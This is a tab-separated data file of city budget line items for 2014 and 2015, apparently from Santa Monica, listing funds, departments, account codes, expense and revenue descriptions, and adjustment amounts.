13378	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	555067.0	LANDFILL GAS CONTROL SYST.	804.0	 Supplies and Expenses	2014	165658.0	0	0	0	0	0	0.0	0	0	0	0	0.0	165658.0
13379	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND		DISABILITY INSURANCE	804.0	Salaries and Wages	2014	3021.0	0	0	0	0	30	0.0	0	0	0	0	0.0	3051.0
13380	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		UTIL-LIGHT/POWER-CITY YARD	808.0	 Supplies and Expenses	2014	61500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	61500.0
13381	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		UTIL-LIGHT/POWER-STREET LIGHTS	808.0	 Supplies and Expenses	2014	1060700.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1060700.0
13382	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	400570.0	ADMIN FINES/PENALTIES	614.0	Fines and Forfeitures	2014	-210000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-210000.0
13383	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	533020.0	GENERAL LIABILITY / AUTO	808.0	 Supplies and Expenses	2014	814115.0	0	0	0	0	0	0.0	0	0	0	0	0.0	814115.0
13384	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544090.0	MEDICAL/FIRST AID SUPPLIES	808.0	 Supplies and Expenses	2014	3280.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3280.0
13385	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2014	23400.0	0	0	0	0	0	0.0	0	0	0	0	0.0	23400.0
13386	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544180.0	SMALL TOOLS	808.0	 Supplies and Expenses	2014	1900.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1900.0
13387	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544180.0	SMALL TOOLS	808.0	 Supplies and Expenses	2014	1230.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1230.0
13388	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544290.0	OTHER MATERIALS AND SUPPLIES	808.0	 Supplies and Expenses	2014	4320.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4320.0
13389	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522129.0	UTIL-GAS-COM FAC, SC, KEC	808.0	 Supplies and Expenses	2014	1250.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1250.0
13390	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522135.0	UTILITIES - WATER - PSF	808.0	 Supplies and Expenses	2014	48928.0	0	0	0	0	0	0.0	0	0	0	0	0.0	48928.0
13391	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	533219.0	BLDG OPER/SUPPLIES-COM FAC	808.0	 Supplies and Expenses	2014	155400.0	0	0	0	0	0	0.0	0	0	0	0	0.0	155400.0
13392	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		BLDG OPER/SUPPLIES-CITY HALL	808.0	 Supplies and Expenses	2014	41180.0	0	0	0	0	0	0.0	0	0	0	0	0.0	41180.0
13393	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		CONT SVCS-CITY TV	808.0	 Supplies and Expenses	2014	9409.0	0	0	0	0	0	0.0	0	0	0	0	0.0	9409.0
13394	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	555210.0	TRAINING	808.0	 Supplies and Expenses	2014	100.0	0	0	0	0	0	0.0	0	0	0	0	0.0	100.0
13395	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	555951.0	FAC MAINT-KEC	808.0	 Supplies and Expenses	2014	-17000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-17000.0
13396	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522160.0	TRANSFER STATION FEE	808.0	 Supplies and Expenses	2014	3100.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3100.0
13397	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	533226.0	BLDG/STR MAINT-LIBRARY	808.0	 Supplies and Expenses	2014	180000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	180000.0
13398	B1	IS	31	Wastewater Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511840.0	PERS PAYDOWN SAVINGS	804.0	Salaries and Wages	2014	-2738.0	0	0	0	0	0	0.0	0	0	2738	0	0.0	0.0
13399	B1	IS	41	Big Blue Bus Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511840.0	PERS PAYDOWN SAVINGS		Salaries and Wages	2014	-48337.0	0	0	0	0	0	0.0	0	0	48337	0	0.0	0.0
13400	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511749.0	VISION	808.0	Salaries and Wages	2014	973.0	0	0	0	0	0	0.0	0	0	0	0	0.0	973.0
13401	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	1344.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1344.0
13402	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		UNEMPLOYMENT	808.0	Salaries and Wages	2014	5270.0	0	0	0	0	0	102.19	0	0	0	0	0.0	5372.19
13403	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		EAP	808.0	Salaries and Wages	2014	1653.0	0	0	0	0	0	41.67	0	0	0	0	0.0	1694.67
13404	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		UNEMPLOYMENT	808.0	Salaries and Wages	2014	975.0	0	0	0	0	0	0.0	0	0	0	0	0.0	975.0
13405	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2014	369514.0	0	0	0	0	92410	-1087.0	0	0	0	0	0.0	460837.0
13406	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2014	309734.0	0	0	0	0	0	0.0	0	0	0	0	0.0	309734.0
13407	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2014	69990.0	0	0	0	0	0	0.0	0	0	0	0	0.0	69990.0
13408	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2014	6952.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6952.0
13409	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511748.0	DENTAL	808.0	Salaries and Wages	2014	3874.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3874.0
13410	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511500.0	TEMPORARY EMPLOYEES	808.0	Salaries and Wages	2014	216043.0	0	0	0	0	0	-6410.42	0	0	0	0	0.0	209632.58
13411	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2014	41793.0	0	0	0	0	0	123.55	0	0	0	0	0.0	41916.55
13412	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2014	769901.0	0	0	0	0	0	4166.67	0	0	0	0	0.0	774067.67
13413	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2014	530432.0	0	0	0	0	0	0.0	0	0	0	0	0.0	530432.0
13414	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		DCAP	808.0	Salaries and Wages	2014	2940.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2940.0
13415	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409073.0	ROSIE'S GIRLS-SUMMER II	612.0	Charges for Service	2014	-17991.0	0	0	0	0	0	0.0	17991	0	0	0	0.0	0.0
13416	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402460.0	TENANT UTILITIES PAYMENT	650.0	Charges for Service	2014	-147492.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-147492.0
13417	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	400580.0	FILMING PERMITS	608.0	Licenses and Permits	2014	-146334.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-146334.0
13418	B1	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2014	809.0	0	0	0	0	0	0.0	0	0	0	0	0.0	809.0
13419	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2014	3479.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3479.0
13420	B1	IS	25	Water Fund	500	PUBLIC WORKS	672	CHARNOCK TREATMENT PLANT	544015.0	FIELD EQUIP & TOOLS	808.0	 Supplies and Expenses	2014	5000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5000.0
13421	B1	IS	25	Water Fund	500	PUBLIC WORKS	673	ARCADIA TREATMENT PLANT	544012.0	MEMBRANE REPLACEMENT	808.0	 Supplies and Expenses	2014	271940.0	0	0	0	0	0	0.0	0	0	0	0	0.0	271940.0
13422	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2014	301546.0	0	0	0	0	0	0.0	0	0	0	0	0.0	301546.0
13423	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	555016.0	OUTSIDE REPAIRS-HZRDOUS WASTE		 Supplies and Expenses	2014	93788.0	0	0	0	0	0	0.0	0	0	0	0	0.0	93788.0
13424	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	403660.0	LIBRARY NON-RESIDENT FEE	612.0	Charges for Service	2014	-235000.0	0	0	0	0	0	50000.0	0	0	0	0	0.0	-185000.0
13425	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522130.0	UTILITIES - WATER	804.0	 Supplies and Expenses	2014	2500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2500.0
13426	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	404970.0	OFFSITE IMPROVEMENTS REIMBURSE	612.0	Charges for Service	2014	-50000.0	0	0	0	0	0	0.0	50000	0	0	0	0.0	0.0
13427	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	405140.0	415 PCH - CONCESSIONS	612.0	Charges for Service	2014	-172000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-172000.0
13428	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2014	8867.0	0	0	0	0	130	194.0	0	0	0	0	0.0	9191.0
13429	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2014	121189.0	0	0	0	0	0	4167.0	0	0	0	0	0.0	125356.0
13430	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS		UNEMPLOYMENT	804.0	Salaries and Wages	2014	2883.0	0	0	0	0	45	66.0	0	0	0	0	0.0	2994.0
13431	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS		DCAP	804.0	Salaries and Wages	2014	552.0	0	0	0	0	0	25.0	0	0	0	0	0.0	577.0
13432	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	522310.0	OFFICE SUPPLIES / EXPENSE	810.0	 Supplies and Expenses	2014	26000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	26000.0
13433	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	522540.0	ADVERTISING	810.0	 Supplies and Expenses	2014	75000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	75000.0
13434	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	544170.0	UNIFORM / PROTECTIVE CLOTHING	810.0	 Supplies and Expenses	2014	2600.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2600.0
13435	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	577940.0	REIMB FOR PARKING EXPEND	810.0	 Supplies and Expenses	2014	133372.0	0	0	0	0	0	0.0	0	0	0	0	0.0	133372.0
13436	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE		DISABILITY INSURANCE	804.0	Salaries and Wages	2014	2940.0	0	0	0	0	46	538.52	0	0	0	0	0.0	3524.52
13437	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2014	3320.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3320.0
13438	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	555010.0	CONTRACTUAL SERVICES	804.0	 Supplies and Expenses	2014	80000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	80000.0
13439	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	533220.0	BUILDING / STRUCTURE MAINT	804.0	 Supplies and Expenses	2014	18500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	18500.0
13440	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DISABILITY INSURANCE	804.0	Salaries and Wages	2014	1758.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1758.0
13441	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2014	-1561.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-1561.0
13442	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511749.0	VISION	804.0	Salaries and Wages	2014	417.0	0	0	0	0	0	0.0	0	0	0	0	0.0	417.0
13443	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2014	44794.0	0	0	0	0	0	0.0	0	0	0	0	0.0	44794.0
13444	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	409140.0	PASSPORT SERV APPLICATIONS	612.0	Charges for Service	2014	-14600.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-14600.0
13445	B1	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	561112.0	CLARE COORDINATED CASE MGMT	808.0	 Supplies and Expenses	2014	4130.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4130.0
13446	B1	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	561117.0	ST JOSEPH CENTER HPSHP-PROP A	808.0	 Supplies and Expenses	2014	8180.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8180.0
13447	B1	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	408560.0	BIKESHARE METRO CFP GRANT	610.0	Intergovernmental	2014	0.0	0	0	-1543000	0	0	0.0	0	0	0	0	0.0	-1543000.0
13448	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511749.0	VISION	840.0	Salaries and Wages	2015	6720.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6720.0
13449	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	522520.0	LEGAL ADVERTISING	804.0	 Supplies and Expenses	2015	72500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	72500.0
13450	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2015	68500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	68500.0
13451	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	522620.0	RENT	804.0	 Supplies and Expenses	2015	141000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	141000.0
13452	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	401620.0	LIBRARY PARKING LOT	608.0	Licenses and Permits	2015	-36000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-36000.0
13453	BA	IS	19	CDBG Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577760.0	CDBG REIMB-HOUSING & ECON DEV		 Supplies and Expenses	2015	85000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	85000.0
13454	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	400870.0	LEASE RENTAL REVENUE-DOWNTOWN	618.0	Rentals	2015	-379283.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-379283.0
13455	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	401150.0	MALL ASSESSMENT DISTRICT	622.0	Other	2015	-1200000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-1200000.0
13456	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	401180.0	DISPLACEMENT RELOCATION FEE	612.0	Charges for Service	2015	-5000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-5000.0
13457	BA	IS	15	Low/Mod Incme Housing Asset Fd	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	400750.0	INT DEP/INVESTMENT	616.0	Investment Income	2015	-2200.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-2200.0
13458	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	401560.0	ZONING APPR/VARIANCE FEES	612.0	Charges for Service	2015	-1551470.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-1551470.0
13459	BA	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	232	COMPREHENSIVE	555060.0	PROFESSIONAL SERVICES		 Supplies and Expenses	2015	17900.0	0	0	0	0	0	0.0	0	0	0	0	0.0	17900.0
13460	BA	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	232	COMPREHENSIVE	555210.0	TRAINING		 Supplies and Expenses	2015	20000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	20000.0
13461	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	533020.0	GENERAL LIABILITY / AUTO	804.0	 Supplies and Expenses	2015	120633.0	0	0	0	0	0	0.0	0	0	0	0	0.0	120633.0
13462	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	533120.0	SPECIAL EQUIP MAINT	804.0	 Supplies and Expenses	2015	8000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8000.0
13463	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2015	5000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5000.0
13464	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2015	307351.0	0	0	0	0	0	0.0	0	0	0	0	0.0	307351.0
13465	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	533120.0	SPECIAL EQUIP MAINT	804.0	 Supplies and Expenses	2015	55000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	55000.0
13466	BA	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	403830.0	SUPPORTIVE HOUSING PROGRAM GR	610.0	Intergovernmental	2015	-389215.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-389215.0
13467	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	401250.0	PLAN CHECK FEES-CITY PLANNING	612.0	Charges for Service	2015	-614215.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-614215.0
13468	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	401470.0	DEVELOPMENT AGREEMENTS	612.0	Charges for Service	2015	-75000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-75000.0
13469	BA	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	232	COMPREHENSIVE	522040.0	INSURANCE AND BONDS		 Supplies and Expenses	2015	840000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	840000.0
13470	BA	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	232	COMPREHENSIVE	522050.0	MEDICAL EXAMS		 Supplies and Expenses	2015	50000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	50000.0
13471	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	511730.0	WORKERS' COMP INSURANCE	804.0	Salaries and Wages	2015	7415.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7415.0
13472	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2015	5000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5000.0
13473	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2015	2626.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2626.0
13474	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	555010.0	CONTRACTUAL SERVICES	804.0	 Supplies and Expenses	2015	18700.0	0	0	0	0	0	0.0	0	0	0	0	0.0	18700.0
13475	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	566090.0	ENTERTAIN - PUBLIC GS	804.0	 Supplies and Expenses	2015	20000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	20000.0
13476	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	212	R & ES(CITY CLERK)-ELECTIONS	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2015	3000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3000.0
13477	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	212	R & ES(CITY CLERK)-ELECTIONS	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2015	8500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8500.0
13478	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	522610.0	EQUIPMENT RENTAL	804.0	 Supplies and Expenses	2015	165500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	165500.0
13479	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	555210.0	TRAINING	804.0	 Supplies and Expenses	2015	1000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1000.0
13480	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	401900.0	FALSE ALARM	612.0	Charges for Service	2015	-330213.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-330213.0
13481	BA	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	232	COMPREHENSIVE	522100.0	EXPERT WITNESS COSTS		 Supplies and Expenses	2015	125000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	125000.0
13482	BA	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	232	COMPREHENSIVE	555110.0	LEGAL EXPENSE		 Supplies and Expenses	2015	215000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	215000.0
13483	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2015	2300.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2300.0
13484	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	522720.0	MILEAGE	804.0	 Supplies and Expenses	2015	100.0	0	0	0	0	0	0.0	0	0	0	0	0.0	100.0
13485	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	401920.0	FARMERS' MARKET	622.0	Other	2015	-850000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-850000.0
13486	BA	IS	14	TORCA Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	400260.0	PROP K TORCA CONVERSION TAX	606.0	Other Local Taxes	2015	-40000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-40000.0
13487	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	400230.0	CONDOMINIUM TAX	606.0	Other Local Taxes	2015	-20000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-20000.0
13488	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	400370.0	RESIDENTIAL BLDG REPORT	612.0	Charges for Service	2015	-200000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-200000.0
13489	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	400500.0	BUILDING PERMITS	612.0	Charges for Service	2015	-2718520.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-2718520.0
13490	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2015	7362673.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7362673.0
13491	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2015	5200.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5200.0
13492	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2015	3850.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3850.0
13493	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	522720.0	MILEAGE	804.0	 Supplies and Expenses	2015	500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	500.0
13494	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2015	12500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12500.0
13495	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	555210.0	TRAINING	804.0	 Supplies and Expenses	2015	5000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5000.0
13496	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	212	R & ES(CITY CLERK)-ELECTIONS	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2015	500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	500.0
13497	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	511490.0	OVERTIME	804.0	Salaries and Wages	2015	715.0	0	0	0	0	0	0.0	0	0	0	0	0.0	715.0
